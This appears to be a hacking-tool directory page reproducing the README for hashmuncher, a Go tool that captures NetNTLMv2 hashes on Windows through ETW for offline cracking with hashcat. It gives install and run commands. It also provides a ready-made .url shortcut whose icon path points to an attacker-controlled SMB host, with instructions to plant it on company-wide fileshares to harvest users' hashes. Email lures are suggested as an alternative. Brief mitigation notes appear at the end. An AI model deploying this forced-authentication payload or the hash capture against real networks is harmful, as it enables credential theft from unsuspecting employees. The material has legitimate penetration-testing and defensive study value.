Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
hashmuncher — Grab NetNTLMv2 hashes using ETW with administrative rights on Windows 8.1 / Windows Server 2016 and later | Kitploit
Tools/GitHubGitHub/lkarlslund/hashmuncher
Packet Sniffing & AnalysisPassword AttacksHash AnalysisInformation GatheringPenetration TestingRed Teaming
GitHublkarlslund/hashmuncher

hashmuncher

Grab NetNTLMv2 hashes using ETW with administrative rights on Windows 8.1 / Windows Server 2016 and later

View Repository
126763 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Hash Muncher

Grab NetNTLMv2 hashes using ETW with administrative rights on Windows

GitHub all releases GitHub Workflow Status

  • Requires elevated (administrator) access on Windows 8.1 / Windows 2016 or later
  • Uses Event Tracing for Windows (ETW) to get access to raw packet data for SMB authentication packets
  • Decodes NTLM message types 2 and 3
  • Outputs to stdout or to a file
  • Press Ctrl-C to stop processing or use timeout option
  • Crack hashes with HashCat using -m 5600

Getting Hash Muncher

Three different options for getting this up and running

A) Download auto built binaries from releases

B) Build and install on Windows with this Go command

  • requires Golang
root@kitploit:~
go install github.com/lkarlslund/hashmuncher@latest

C) Cross compile the Windows binaries on any Golang supported platforms with PowerShell installed

  • requires Golang and PowerShell
root@kitploit:~
git clone https://github.com/lkarlslund/hashmuncher
cd hashmuncher
./build.ps1

Usage

  1. Ensure that Windows Firewall allows "File and Printer Sharing" as Hash Muncher requires the built in SMB service to send recieve the initial request and send response packets to the target.

  2. In an elevated prompt run Hash Muncher

root@kitploit:~
hashmuncher.exe [-output filename.txt] [-timeout nnn] [-tracename yourname] [-help]
  1. Now wait for someone to authenticate against your machine, or plant an URL shortcut on a popular shared fileshare like below.
root@kitploit:~
[InternetShortcut]
URL=Munch
WorkingDirectory=MunchMunch
IconFile=\\10.1.2.3\%USERNAME%.icon
IconIndex=1

Replace the IP address with your Hach Muncher machine, and save the file to a (company wide) fileshare as 'whatever.url', and watch the hashes come pouring in.

There are other methods mentioned at Red Team Notes - Forced Authentication, and you can probably also get success by mailing everyone a Word document, but it's not stealthy at all.

Detection

  • None that I've seen, but please leave feedback

Mitigation

  • None for the ETW part, this is part of the Windows design says Microsoft
  • Use STRONG passwords! Cracking NetNTLMv2 is not fast at all, but with weak passwords it can surely be done.
  • Disable NTLM entirely! It probably won't be painless - but see Farewell NTLM - It is time to disable NTLM

History

I've been playing with ETW on and off, but once I saw the very cool research from Nettitude Labs I knew I had to make this into an easy to use tool in my favourite language Golang! Nettitude Labs has a working POC written in C# running under the .Net framework, and might be a better option for you. So I'm not really inventing anything here, just adding this as an alternative.

If you like Windows security stuff you might also like my attack graph tool Adalanche

Download Tool